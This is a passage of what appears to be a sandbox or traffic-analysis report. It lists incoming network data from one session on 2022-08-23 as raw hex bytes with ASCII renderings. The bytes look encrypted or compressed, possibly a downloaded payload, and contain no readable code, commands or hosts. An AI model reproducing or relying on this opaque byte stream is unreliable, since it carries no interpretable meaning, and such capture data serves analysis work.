f8 6b 1e 61 30 7e d2 1f 45 29 b3 d3 76 79 c0 d2 0d 2f 3d ad 76 81 81 de 53 a7 e9 14 c8 d9 bf a9 01 7c 6c 92 e0 f1 1e 4f 22 ab d3 ec 67 3a 4e a0 62 d6 d9 52 66 8f 69 cc Data Ascii: WsiT;LVBx%Q{rj@LUdXjl{6vVmKkq?!x,gy$a%]wEntELeCb8pKe'Rb'>D=LY%:PTIg&lcChka0~E)vy/=vS\|lO"g:NbRfi
2022-08-23 01:43:52 UTC	155	IN	Data Raw: 44 1b d2 83 13 10 95 32 de 12 5e 19 74 e0 66 92 3a 70 6b 15 dc 84 da 2c 07 aa 68 dd 59 02 e1 d2 a6 c5 82 66 4f 45 a8 25 81 3a 60 6f d5 8a e7 44 88 cc 91 2d 92 bf 3e 28 30 2a 9c 2f d2 60 aa af 64 ec c5 62 e2 f1 7f 9d bf 80 d5 18 05 81 fa 26 c4 ec 98 13 f2 f7 34 40 0a 27 75 5f 5d 0a ef fa f7 29 cb 3e 1f 12 7a 02 bc 66 d6 03 1d 08 1b 97 64 64 5f b4 50 6e 46 c8 7e 91 c1 6e f1 c4 7d e1 0a 28 98 94 eb c3 c0 3f b9 34 c4 b6 f5 1c 80 f5 55 44 9b a9 3d 56 8a 85 3a f7 ae 3a 72 24 c8 92 c5 64 df 70 9e 60 b0 52 ac 0a aa a6 b0 6d 53 21 a4 d2 64 d6 36 d7 71 8f 41 3a 7f 00 8f 24 16 a4 32 29 df 77 ee 1e a9 06 db 11 47 23 da 0a 0f c3 f5 d8 5e 14 cb e3 88 5d a9 b3 0a ba d2 ef ee fc a5 67 3d 88 d0 57 8f 91 0d 2b 0a 11 62 e1 2d 9d 03 fc a8 cb 27 fa 3e 18 64 e9 bc 96 5f 1a 47 Data Ascii: D2^tf:pk,hYfOE%:`oD->(0*/`db&4@'u_])>zfdd_PnF~n}(?4UD=V::r$dp`RmS!d6qA:$2)wG#^]g=W+b-'>d_G
2022-08-23 01:43:52 UTC	159	IN	Data Raw: 56 48 12 07 45 59 9f a1 03 0f 77 93 bb f0 0b 0f b1 de b9 92 75 51 54 76 7c ee 1c 26 c3 64 63 2e 1b c5 b8 0b 63 86 ec 24 30 36 6a 38 ff e2 e2 2f 44 f8 d7 c2 33 d2 5d 75 3d 1e 71 3f 61 b6 6f ce 46 6b 6a cc ab d8 cd 08 29 db 18 52 03 12 60 ca 2e 36 d4 77 a6 b2 d6 d6 cd 87 44 c0 31 e9 56 12 68 ba 1d dc e4 c5 07 b7 45 76 04 cb 7a 14 88 e0 88 35 ed 50 8c b5 5f 72 60 d1 75 3d e0 2d ed 5a 6a 82 56 f8 f3 ef fb bd 71 5e a6 2d 91 95 55 ce f7 22 3a 6d 60 ff 2e 9e 83 8b e3 f6 4f 7e 4f 19 44 7f 4a e7 e9 bb 51 86 c7 d7 f0 2e ef 0a d4 e0 1b 45 f4 b0 8d 6c d2 07 e3 55 07 ae a0 89 94 80 56 2c 16 52 bd 11 b2 cc 95 18 57 ed d2 08 4e 73 95 68 98 70 73 46 16 45 56 13 91 a7 9c 04 e3 8f dd 11 3f 52 f5 d4 f6 3a 49 21 7f 22 68 df 96 e8 83 de dc 14 b4 e0 68 bc da a8 74 1e 24 43 82 Data Ascii: VHEYwuQTv\|&dc.c$06j8/D3]u=q?aoFkj)R`.6wD1VhEvz5P_r`u=-ZjVq^-U":m`.O~ODJQ.ElUV,RWNshpsFEV?R:I!"hht$C
2022-08-23 01:43:52 UTC	163	IN	Data Raw: 13 6f 19 ca e8 74 c7 70 47 47 bc d9 d5 27 28 f0 e6 5b cf 81 20 5a ad b9 4d 33 ca c5 bb 57 5f db 19 80 fd 6c 14 6a 22 bb 5c 9d 4f 2e f0 25 2d 9a a9 24 24 30 36 6a 38 ff e2 e2 bb d2 4e 34 c0 3d 50 44 dd f2 a9 29 de ed 36 d5 59 e1 87 84 04 87 1c eb 92 33 84 cb 6e 09 24 a8 13 05 31 46 97 7a 24 6a 44 e2 e6 2e 22 b5 09 19 df 55 b6 56 41 dc ab 85 c1 3f aa 7d a9 07 f9 7d e9 19 47 d2 05 45 83 9c 54 a7 41 7c 1c ba 7e ce e8 b7 3a 84 00 d4 3b 04 f4 08 69 d6 85 8d 83 39 d0 17 5c 93 c7 26 3d ec 9f 05 c4 2b df 62 4e 0b 7c 5a eb f5 e4 43 b5 e7 e6 79 85 e7 31 a2 19 df 59 17 d2 65 ee 2c 67 ed 2b 5a 6c 20 1f 87 1d cf 5f 89 04 01 ba 1d 21 a8 3c 0d f4 12 e5 6c f7 26 1b 8d bf 69 e2 be ff 89 52 bb 6c 4c 9f c1 12 a4 12 40 04 b7 b9 8a 5c b8 6f 93 04 5d d6 c0 08 5b 8d 8c 3f 48 8f Data Ascii: otpGG'([ ZM3W_lj"\O.%-$$06j8N4=PD)6Y3n$1Fz$jD."UVA?}}GETA\|~:;i9\&=+bN\|ZCy1Ye,g+Zl _!<l&iRlL@\o][?H
2022-08-23 01:43:52 UTC	167	IN	Data Raw: dd 59 47 86 fc 22 ad 01 fd b2 42 8b ac 71 33 27 d5 ef de 81 27 44 47 70 08 f8 3b 9a 12 ae 57 5d 1a 88 60 3e f2 e3 45 7a 49 67 d5 8b df 38 64 9e d0 a4 c3 e5 e0 55 1c 46 8a 0a cf e8 3f 03 2e 31 d0 e5 13 8c 24 03 c7 9f cb 3d 26 0c f3 46 15 35 63 50 b4 a3 4d 80 dd 28 e3 13 e2 28 61 83 31 a6 83 50 16 63 97 46 54 c8 60 de 75 7f 35 38 74 13 1f a6 69 e8 b4 a1 25 7b 56 c9 6f 5f 02 fc a1 bd dc cf d9 2e 58 83 c3 70 d5 48 94 3d f0 d0 42 cf 2a eb f0 25 1a be 5f 5e 5d c2 76 25 d9 79 95 fc 6c ce 53 37 ea 3d ba ed c4 81 75 31 91 c8 2d 96 52 ce f2 14 a2 32 ef 7e f7 b1 2c 9c 49 67 2a 9d 9c 43 4e 99 67 c1 3c 68 97 46 e7 db ba 0c 3c c9 7f 41 06 82 f2 f4 7b a7 cd 31 88 17 8d 17 eb 92 33 fc 55 a1 ec 3d 18 12 ca 7d 9f 30 82 ae 57 5d 1a 88 60 3e f2 93 1c 7f 38 28 56 d9 ee 84 a2 Data Ascii: YG"Bq3''DGp;W]`>EzIg8dUF?.1$=&F5cPM((a1PcFT`u58ti%{Vo_.XpH=B%_^]v%ylS7=u1-R2~,IgCNg<hF<A{13U=}0W]`>8(V
2022-08-23 01:43:52 UTC	170	IN	Data Raw: 78 b6 89 14 ee 89 03 31 bc d9 d5 27 28 f0 e6 5b fa c2 dd 0d 99 d6 2a f4 53 6e 55 09 3b 96 a1 91 1f d4 98 c6 3b db d8 14 2e 0b 19 e8 6b 31 05 ed 09 86 31 39 bd a0 f6 86 78 18 fb c0 53 ee f8 87 7a 3f 84 66 5d ad 2c 61 3c 41 33 d6 4d f7 bc 97 56 31 44 51 c7 20 34 46 6f 2a 29 66 d6 fc 91 56 c5 56 73 4c 31 02 3e 9c 0c a0 75 92 c4 7e 94 2d e0 7a 52 c4 8e 43 6e e1 d3 fa 57 f1 03 b0 9b 46 e6 c4 34 cc cd 7b 0e 97 98 dd d1 b1 d1 6b af 58 05 37 5b 63 27 65 a0 07 dc 5b bb 2b 9f 01 f3 7e 2a c7 de dc 02 b1 43 46 d9 60 e2 fd 16 69 bc 9c 90 02 36 41 07 14 66 2d 43 9b ce f0 40 dc 8f 55 ac f7 f3 60 59 4e 5f 66 f2 0e 2b 8c 19 83 f1 35 1c 82 fd 8d 17 19 fd bc 8e 5f 7b 7b 13 b9 ca 93 d0 42 cf 2a eb f0 25 1a e9 1c a3 2c 19 b9 60 47 ec d0 14 d3 cd bc c7 29 28 b3 c0 77 35 7f 1b Data Ascii: x1'([SnU;;.k119xSz?f],a<A3MV1DQ 4Fo)fVVsL1>u~-zRCnWF4{kX7[c'e[+~CF`i6Af-C@U`YN_f+5_{{B%,`G)(w5
2022-08-23 01:43:52 UTC	174	IN	Data Raw: f1 4a f9 e3 c3 fc de 89 60 21 e2 a6 19 7e fe 76 86 c1 60 e8 48 a6 fe 30 9a f0 39 d2 60 aa af 64 ec c5 62 1b ad f3 76 25 22 48 a0 db f6 4d 3f e5 4a 69 e2 8f 8a 68 75 2e c3 e4 fc 19 08 1f c2 bd aa db 91 e1 77 54 4b 17 cc 7d f5 53 6a dc 44 a1 f0 15 ce 3b 95 12 43 ce 28 21 ef ce e0 17 e7 e5 b1 2e bd 65 44 f4 7e aa 1b b0 4e eb f9 e3 d2 76 a4 1a 04 e6 43 a0 b9 8b 11 c4 ed 9b 16 63 26 f0 e8 fb 70 11 1e 43 07 3a 1c cf f9 b9 40 4e d9 13 86 e2 b1 f0 e4 eb 55 39 72 38 90 37 72 8e 1b b3 7d 4d f1 9e 54 73 53 a4 d8 d2 cf 33 18 de 62 e1 b7 61 65 8e 5d 92 04 ff 41 69 f6 a9 89 0a f0 b9 a3 6e cd ab d2 b1 db e2 27 d0 70 8e f6 4f 9b 1b c8 f4 68 53 0a 17 8a aa 12 3e bf 1f 12 7a 02 bc 66 d6 03 a9 74 b4 60 85 39 61 51 8d 1e 69 ae 07 ec 35 5a d3 08 95 19 23 18 ad 94 5f 2e d1 dc Data Ascii: J`!~v`H09`dbv%"HM?Jihu.wTK}SjD;C(!.eD~NvCc&pC:@NU9r87r}MTsS3bae]Ain'pOhS>zft`9aQi5Z#_.
2022-08-23 01:43:52 UTC	178	IN	Data Raw: 7a 02 bc 66 d6 03 53 0a 17 8a aa 12 3e bf 1f 12 7a 02 bc 66 d6 03 a9 74 b4 60 85 39 61 51 3d 7b 8b 46 bf 57 a9 cd de 6f 61 05 28 8e 52 77 02 ce 8d 07 0c 61 94 bf 0b b8 8b d0 24 e5 ed 0a 88 90 be 22 5a fb fd 99 c8 30 e6 02 fd d9 1a bc 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 e1 b5 01 4a 51 8a b9 85 2e 20 f1 bb 0d fc af 64 3d d5 f3 63 cd 49 73 0d d3 b2 af 92 45 8b ed 15 f8 3f 99 d0 d1 a5 f8 ae 7d cb 2a 42 e3 f2 cb c6 4d 54 d6 82 68 bf 87 5e 71 7b fb 9c 2d 30 1b 8b 55 8b 2a f5 00 48 a7 07 dc cc 91 88 a2 a5 1a 6a 41 90 dc 21 28 0a 01 83 18 df 8e 68 22 8c 44 62 1c 0f 69 df 60 66 12 dd 59 02 e1 d2 a6 c5 82 66 7a 3a f8 31 02 04 7e 88 1f c6 cf 94 f3 f2 c2 d6 fb 4e d2 da e5 0a 50 6f d4 cd 31 ca 23 44 ad d0 ab 71 09 b8 2b a5 38 ae 53 10 d8 cc 14 e6 4e 92 52 Data Ascii: zfS>zft`9aQ={FWoa(Rwa$"Z0_.I"1zfJQ. d=cIsE?}BMTh^q{-0UHjA!(h"Dbi`fYfz:1~NPo1#Dq+8SNR
2022-08-23 01:43:52 UTC	182	IN	Data Raw: bf e4 2a e7 14 42 52 4e 2d fc 96 df c7 aa 7d 47 30 f2 4c 01 97 d9 db 83 05 90 1e 3a c2 6d 2c b6 db 08 c0 12 ac 1e 2a 8d 8a 36 da d3 4f 4e ca 69 27 3f 2f 3e 5a f7 b2 47 38 a6 47 17 87 02 0e 14 0f 65 a5 b0 fc bd 3d c5 f6 7a 56 20 5a 1b 6c 29 35 a2 c3 15 b2 cc a7 59 de 4d 4c ac 0a 25 de 39 f6 fd 3e cb 15 4e 1a 06 0a 82 8b 86 42 10 b6 01 f0 74 e0 aa bf 70 84 90 53 09 36 a2 8e 6e 18 55 05 2c 76 d4 d8 f0 54 65 1c 25 a2 f3 e9 27 3c 15 dd 81 43 e3 7c 94 ba 7c 49 15 9f 6f 15 5b fe d8 50 d3 a1 a3 83 47 06 7c 2c 58 37 a3 9f 36 87 b3 5d 0c ee 15 39 36 73 2a ff bb 1e 28 f4 21 12 ce db 11 26 d4 45 8e 4a 79 cb 41 bc 54 48 58 5e 31 75 50 c7 fb 22 17 fc 8d ee f1 1d 8f 71 33 a7 0d 77 ae 57 5d 1a 88 60 3e f2 a7 59 3d 88 ca 34 41 53 83 e8 7b 23 67 6a 22 82 7e 61 80 18 4a 38 Data Ascii: BRN-}G0L:m,6ONi'?/>ZG8Ge=zV Zl)5YML%9>NBtpS6nU,vTe%'<C\|\|Io[PG\|,X76]96s*(!&EJyATHX^1uP"q3wW]`>Y=4AS{#gj"~aJ8
2022-08-23 01:43:52 UTC	187	IN	Data Raw: 34 05 0f a9 43 d6 27 9d da e4 c8 2e 45 56 13 91 a7 9c 04 e3 9a 58 8e fe c0 60 30 10 6d 68 b4 cb 66 8c 2b af 84 2c d1 ab c5 44 0f 71 9c 4c e2 9d 00 0f 05 93 e2 9d 9a 27 eb 1c d7 6b ac c0 70 1a 40 33 d7 db 77 7e 77 04 d3 8f 04 7c 71 c0 70 42 eb 4c bd c6 7a 86 cf f5 a6 58 11 c8 8d be 70 7c 76 04 bc 45 a4 77 7c 0f e6 32 3a fe d7 87 9e 57 1b 74 68 72 50 e0 51 03 5c 49 81 9e ab d2 b1 db e2 27 d0 70 1f 12 7a 02 bc 66 d6 03 a9 74 b4 60 85 39 61 51 8d 1e 69 ae 07 ec 35 5a d3 08 95 19 23 18 ad 94 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 53 0a 17 8a aa 12 3e bf 1f 12 7a 02 bc 66 d6 03 a9 74 b4 60 85 39 61 51 02 be b5 c0 95 10 40 64 de 6f 61 05 28 8e 52 77 88 90 be 22 5a fb fd 99 0b b8 8b d0 24 e5 ed 0a 4e 5f 59 12 b2 c9 c3 5c 0b b8 8b d0 24 e5 ed 0a 5f 2e d1 Data Ascii: 4C'.EVX`0mhf+,DqL'kp@3w~w\|qpBLzXp\|vEw\|2:WthrPQ\I'pzft`9aQi5Z#_.I"1zfS>zft`9aQ@doa(Rw"Z$N_Y\$_.
2022-08-23 01:43:52 UTC	191	IN	Data Raw: 11 99 50 5c d2 d4 e6 9d 8e 61 1d 19 cd 3d 0f 45 56 13 91 a7 9c 04 e3 88 85 f2 5f 27 42 04 34 a2 91 f1 07 8c 35 b7 15 da fc de 2e a2 c9 fb 6f 88 90 be 22 5a fb fd 99 c8 30 e6 02 fd d9 1a bc 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 ab d2 b1 db e2 27 d0 70 c5 77 ea af 1e d5 5c 7c 0d 40 f6 85 a0 de cd 7b 10 ac ef 67 cf 9f 44 fc 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 67 6a 62 bc b8 74 d3 ae d8 12 03 0c a4 ed ef ab 09 7f e9 ce 1f eb 1a bb b1 60 59 9d 87 34 c7 25 45 56 13 91 a7 9c 04 e3 39 42 10 16 2f 2f de 10 2a b8 47 b5 73 34 6b 43 07 d4 dc a2 fc 6b 83 2d 89 cd 54 ea 5d c8 36 ff 17 89 52 05 d5 62 70 3c de a5 84 4a b7 a3 45 a2 19 08 1f c2 bd aa db 91 5e c4 e3 34 82 a3 3e e2 53 6a dc 44 a1 f0 15 ce 3b 95 12 43 ce 28 21 ef 23 7a a7 bc 3e df ef 68 Data Ascii: P\a=EV_'B45.o"Z0_.I"1zf'pw\\|@{gD@{zfgjbt`Y4%EV9B//*Gs4kCk-T]6Rbp<JE^4>SjD;C(!#z>h
2022-08-23 01:43:52 UTC	195	IN	Data Raw: d2 6c df 60 73 7d 66 15 6d c5 ac 9b c4 ae a1 fc 08 ba c2 90 b1 6d 5b 53 19 bd 9b 84 3a b2 4d 15 c7 75 b9 3c 81 be 37 11 26 e9 51 43 6c b4 49 66 57 9e 5d 3d 1e b7 57 01 0d dc 69 fb 3a 59 a2 51 be 4f 69 a3 45 ec 90 cf 85 95 a2 ee d1 e9 88 23 76 d1 d2 f2 80 06 a1 e2 ff 89 d3 7f 53 e3 27 c1 26 00 1c c2 54 1e 4a ee 1a 8c a0 4f 07 7c 2b ab b4 a2 63 a8 13 a7 c5 b4 ab ca db 64 3f 01 45 c5 fc 37 ca 11 7c 60 e1 ab f8 f8 ae 57 5d 1a 88 60 3e f2 16 ee 1e e9 ab e4 7f d6 26 a0 0c d5 e5 09 06 12 8e 1e 5d 46 c2 b7 a8 94 b0 24 6a 67 4f c0 3a e2 1a 55 8f b3 8a 57 41 04 59 02 e1 d2 a6 c5 82 66 24 60 ce ac 3e a0 ad 97 e7 cb 72 67 4b 97 2e 0c f2 81 67 7e f4 ae 96 05 88 f0 2d c5 c1 b9 b7 9d 47 39 72 bc ca 48 e5 c4 89 3d 0d f5 0f ed e2 6f 97 53 41 17 71 64 fe cf e7 86 0d 83 ca Data Ascii: l`s}fmm[S:Mu<7&QClIfW]=Wi:YQOiE#vS'&TJO\|+cd?E7\|`W]`>&]F$jgO:UWAYf$`>rgK.g~-G9rH=oSAqd
2022-08-23 01:43:52 UTC	199	IN	Data Raw: 02 bc 66 d6 03 27 9d e2 16 97 4a e9 78 c3 34 6e d8 97 84 14 3b 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 0c 3e 8c ca 2e bb 73 10 9c ec e0 3f d6 f2 24 c8 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 2e d1 f9 75 99 57 6f 08 e1 8a 65 39 71 7c c6 17 91 0d bb 4f 6b dd 35 f2 76 9f be a9 8a 0d 02 7a fb fe 7e a2 7e d4 8f 3c 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 5a 8f 9c 73 e4 ab 01 94 96 e6 03 44 40 65 bc ca dd 46 f1 9d 17 0d 4a d6 42 9e 45 57 03 ea 10 9c 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 bd 4b 35 2a 94 5b 76 1b e1 8a 65 39 71 7c c6 17 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 7c 3e 29 28 a9 76 c9 4d d8 12 03 0c a4 ed ef ab 09 7f Data Ascii: f'Jx4n;_.I"1zf@{zf>.s?$_.I"1zf@{zf.uWoe9q\|Ok5vz~~<_.I"1zfZsD@eFJBEW@{zfK5*[ve9q\|@{zf\|>)(vM
2022-08-23 01:43:52 UTC	202	IN	Data Raw: 57 58 e0 92 aa 99 ed 8f 84 c6 52 53 cf 2b f5 56 e3 c9 7d 74 f5 e3 ba 74 21 05 5d 8d 8a f6 22 d1 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 43 7d 47 81 6f fd ff 21 c7 42 f7 4c fa 5b 3c 3b 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 bd 7d e4 f2 07 a6 98 0e c7 42 f7 4c fa 5b 3c 3b 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 df 15 8b b2 bd 6e c4 8f 88 cd ae 76 ad eb 7e 5d 2e 33 8d f6 aa ed 1c 81 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 ab d2 b1 db e2 27 d0 70 1f 12 7a 02 bc 66 d6 03 b0 b5 8c 85 69 b8 31 73 f0 4d 9e 7d b0 ac ec 26 cf d0 b9 85 a5 79 36 6d 3f 84 98 e1 b1 27 e2 db 68 c2 e1 e8 4b 70 ad 3a 20 46 5f bd 3e 09 79 7c 3a 1d 9f da 59 3d cb 53 7c 62 ae 6c 4f bb 1d 17 c1 06 ea d7 2d b5 2e 4e 7c c6 9d 64 38 74 90 ff b2 ce 72 6c 3f 42 46 Data Ascii: WXRS+V}tt!]"_.I"1zfC}Go!BL[<;_.I"1zf}BL[<;_.I"1zfnv~].3_.I"1zf'pzfi1sM}&y6m?'hKp: F_>y\|:Y=S\|blO-.N\|d8trl?BF
2022-08-23 01:43:52 UTC	206	IN	Data Raw: 27 d0 70 1f 12 7a 02 bc 66 d6 03 a9 74 b4 60 85 39 61 51 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 ab d2 b1 db e2 27 d0 70 1f 12 7a 02 bc 66 d6 03 6c 6f 97 e8 d3 11 1d 85 e8 95 67 6f 38 46 02 19 4b b1 62 5b 44 34 96 05 47 0d e6 c6 e6 f8 68 2f 1b ac 44 14 fb 19 02 c7 2e db 16 6d 56 c4 34 af b8 8b 2c fa 72 8f 6e e2 f9 ff d2 3f d8 51 f2 5a 9b a4 c8 5d df 6f d2 cb a2 97 4e b1 3c 00 e3 ca fd 51 fe a8 94 21 d4 24 b0 5c 45 88 b9 40 cc fc 4a c9 51 de 3b d4 b7 0b 97 d8 54 2a f9 2a f2 69 7e 70 2f bb c5 91 37 39 0e 97 a2 e4 87 e9 96 2e 7f d1 ed 0f c5 52 3d 38 45 98 e0 f2 17 b7 fb 51 a5 1b 47 e1 83 0c e4 ad d5 0f 05 2e 1b 0d 2e ac a7 e2 91 91 21 17 1e d8 2d 94 86 4e 42 2f 26 37 ca 87 e1 ed 00 6e bb 52 ae 25 f0 ac bc 33 98 b0 c0 9b f5 eb ae 31 d6 40 43 b7 2a 31 Data Ascii: 'pzft`9aQ_.I"1zf'pzflogo8FKb[D4Gh/D.mV4,rn?QZ]oN<Q!$\E@JQ;T*i~p/79.R=8EQG..!-NB/&7nR%31@C1
2022-08-23 01:43:52 UTC	210	IN	Data Raw: ef 67 cf 9f 44 fc 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 48 86 39 65 d7 a1 f5 16 d8 12 03 0c a4 ed ef ab 09 7f e9 ce 1f eb 1a bb 9c e0 87 c4 24 31 89 33 45 56 13 91 a7 9c 04 e3 e4 4b d7 90 8a 87 55 ba 2a b8 47 b5 73 34 6b 43 07 d4 dc a2 fc 6b 83 2d 89 cd 54 ea 5d c8 36 ff 17 89 52 05 d5 62 70 3c 93 9d 1d fe d3 a2 e2 45 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 f6 1e d8 2a 49 ef 83 fb 1c 88 21 e7 a0 ea f9 25 bf 59 74 8a 19 62 f1 77 e6 43 a0 b9 8b 11 c4 ed ba 0a bd 8c bb 35 cb 01 f2 14 e9 4e ba ba 80 b1 67 de 05 95 b1 81 89 e9 5c c2 8e 53 dd 61 d1 f3 15 d7 05 25 ec 0f 60 8d 74 9a 71 11 62 42 35 c6 8f ce e8 c9 ce f3 2d c2 11 74 53 ef 78 2b e9 e4 09 25 df 50 54 f6 b8 60 3a db 5e 82 91 2d d4 32 04 9a 62 4a 7f 34 bc 5f 15 41 e0 ba c4 8a 76 7c 90 Data Ascii: gD@{zfH9e$13EVKUGs4kCk-T]6Rbp<E_.I"1zfI!%YtbwC5Ng\Sa%`tqbB5-tSx+%PT`:^-2bJ4_Av\|
2022-08-23 01:43:52 UTC	214	IN	Data Raw: 3b 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 1a ba 33 5e ae 9f b5 57 ab d2 b1 db e2 27 d0 70 1f 12 7a 02 bc 66 d6 03 1b 3b e2 1a 1a 4b a4 24 ce 47 b6 c6 17 bd 34 b6 dd 8a f9 fb fc b8 8f 59 8c 0f 91 1d 60 f4 c3 cd 92 80 5b f5 2c 99 0c e4 c7 53 01 b4 e6 85 33 c8 e4 93 14 ff 1d c7 4e 5c 40 26 bb 35 a0 7d 0d 5e 53 9a ca 84 68 dd ea 22 1d ef 65 9b a0 13 91 6f 6b ce 94 51 7b b5 48 35 c2 af 92 a8 ee 11 92 c7 52 91 e7 d4 13 a3 55 85 e7 b0 8a dc 23 1e 08 22 f2 be ad 20 1e e4 79 24 25 3a 2a 03 66 6e 77 dd 52 f5 68 6f ae 88 66 9f 32 fc d0 3e 1d 13 ce 48 09 d3 ca 77 aa c8 a2 96 80 76 4f 2e d1 c7 71 03 e8 9e 7b ca d4 84 06 89 8c 36 7f 36 27 39 9e 72 b8 1a 7f 11 9b 68 4b a3 61 e8 0b 35 ad 36 26 47 85 9a 3b e1 40 86 5e bf 27 ac 51 d9 4c 5b e5 9f 66 d2 5e a6 af 82 Data Ascii: ;_.I"1zf3^W'pzf;K$G4Y`[,S3N\@&5}^Sh"eokQ{H5RU#" y$%:*fnwRhof2>HwvO.q{66'9rhKa56&G;@^'QL[f^
2022-08-23 01:43:52 UTC	219	IN	Data Raw: 97 03 6f 54 75 c3 d8 7b 01 28 1e cd 2d 86 8b 80 81 14 c9 7e b2 46 49 4a 9d ac db 5a e0 09 bf 74 bd de c2 b5 37 72 8e 1b b3 7d 4d f1 54 56 4c 41 9a ce cc 5a 69 cf 64 f1 72 bd 17 ce d7 4f e0 7c 71 de 69 d8 8f 24 16 a4 32 29 df 77 53 cb 24 ab 3e 24 7e 54 bd 0a fd 52 f9 ef 1e 06 02 84 e5 37 e5 25 b4 b6 e0 49 03 88 92 74 67 ac 1a a1 9c 1d 87 d1 f4 10 37 72 8e 1b b3 7d 4d f1 89 2d 19 d9 c0 32 94 47 33 18 de 62 e1 b7 61 65 83 a6 6c 46 62 4a 81 56 47 ff fc d7 b6 ab 0e f0 e7 b4 b4 a5 cf e9 49 47 cf 03 ee 77 34 68 6d 3c 3e dc 85 b0 24 de 12 8d e8 3a 6c dd af 85 1b 9f cd 8b 4e 83 a1 ed 6a f5 26 8a c4 4a 41 f9 9c 67 34 91 31 df 5d b8 b2 14 1a 87 0b cb 3a 8b 58 24 8e 7a 42 4d 18 37 5e 22 0d 09 53 aa 62 4e 77 d3 bb 02 3f ca f5 33 2f 82 22 53 05 ea 0a ca 52 a1 a6 19 7e Data Ascii: oTu{(-~FIJZt7r}MTVLAZidrO\|qi$2)wS$>$~TR7%Itg7r}M-2G3baelFbJVGIGw4hm<>$:lNj&JAg41]:X$zBM7^"SbNw?3/"SR~
2022-08-23 01:43:52 UTC	223	IN	Data Raw: 19 1f 9a 52 a3 fb 02 54 71 f6 49 0c 17 2f a3 90 e4 f6 91 9a 36 1f 76 a9 04 57 56 68 12 26 96 c7 be 10 25 ae 3e 59 c7 dc 5d d2 30 38 53 7d d3 0b 60 f0 e1 38 ee 04 ef 2b 88 52 05 75 d2 6c 52 c7 9e 0c 72 21 a6 e3 fe 36 b9 af 45 58 e4 0e 7f 17 ba 74 f9 a5 81 c3 bb 7e c5 80 e6 16 24 ff 8d 80 a1 06 2d c1 23 00 4a 82 9f 0a b7 31 bc 13 26 38 d7 0e f7 9d 3d 52 c9 3e 38 f1 6d 48 1a 30 55 9d da 25 b3 9c 00 57 95 7d ed 78 9f 41 42 36 5d 62 3e 93 81 f7 ad 6f d0 c1 06 ea d7 2d b5 2e 4e d7 94 85 77 d2 8d cc 76 e5 88 24 02 c4 e4 27 3f 4b 21 c4 f6 e6 20 78 39 15 db 74 52 8d de a1 45 c1 12 62 2d e3 f1 d5 b5 dc bc 09 15 08 ed b7 75 9c ba 2d ec d1 82 fd 26 21 18 b5 6f d6 55 30 ce ee 00 d4 e1 d6 0d d8 b6 a8 4a 9b b7 ff 2f 95 9a 93 cb 11 cd fc 68 01 c0 b9 4e d4 31 05 8c 44 d2 Data Ascii: RTqI/6vWVh&%>Y]08S}`8+RulRr!6EXt~$-#J1&8=R>8mH0U%W}xAB6]b>o-.Nwv$'?K! x9tREb-u-&!oU0J/hN1D
2022-08-23 01:43:52 UTC	227	IN	Data Raw: 1a 21 46 15 35 63 50 b4 a3 4d 26 a0 db e6 8e 15 24 43 15 d0 43 ff e2 70 88 4d 9d 01 66 1c 56 5b 98 fe 37 72 8e 1b b3 7d 4d f1 4a 5a 4b e0 fa 61 cf d5 b0 20 5f 33 2e 60 f7 eb d0 3c 72 6c f7 c2 48 ad 4c f5 73 4b bf 35 6c de 1f c5 cd 2c 8d 3c 66 e3 02 de cd eb 51 24 0d fa 91 26 95 58 92 fe d2 db e9 55 5f 09 e5 9d b6 d0 f0 ff 1c 66 f8 0f fb c3 5b fa dc 37 46 7a ff 91 37 72 8e 1b b3 7d 4d f1 34 00 2d 50 50 60 11 db bc 35 3e 32 af e6 52 96 95 06 9a 35 7c 4c df a2 a0 09 87 a3 33 23 08 a6 c3 5d ec 8d d1 8d fc e7 45 31 f5 4d c0 f8 07 f0 ac f7 3f 08 63 fe 88 26 46 b7 f9 51 20 3b 66 93 88 3a 08 16 cb c3 b0 a3 eb d4 0c 36 21 52 7a da 26 ea 0d 73 39 c8 e9 b5 f0 ff 1c 66 f8 0f fb c3 ac 71 e5 10 d6 0d 6f e2 d8 f3 7e f3 2e 3a 2b 6b cf 97 d1 39 3a b7 5f 2b 01 ab 8d 4e ad Data Ascii: !F5cPM&$CCpMfV[7r}MJZKa _3.`<rlHLsK5l,<fQ$&XU_f[7Fz7r}M4-PP`5>2R5\|L3#]E1M?c&FQ ;f:6!Rz&s9fqo~.:+k9:_+N
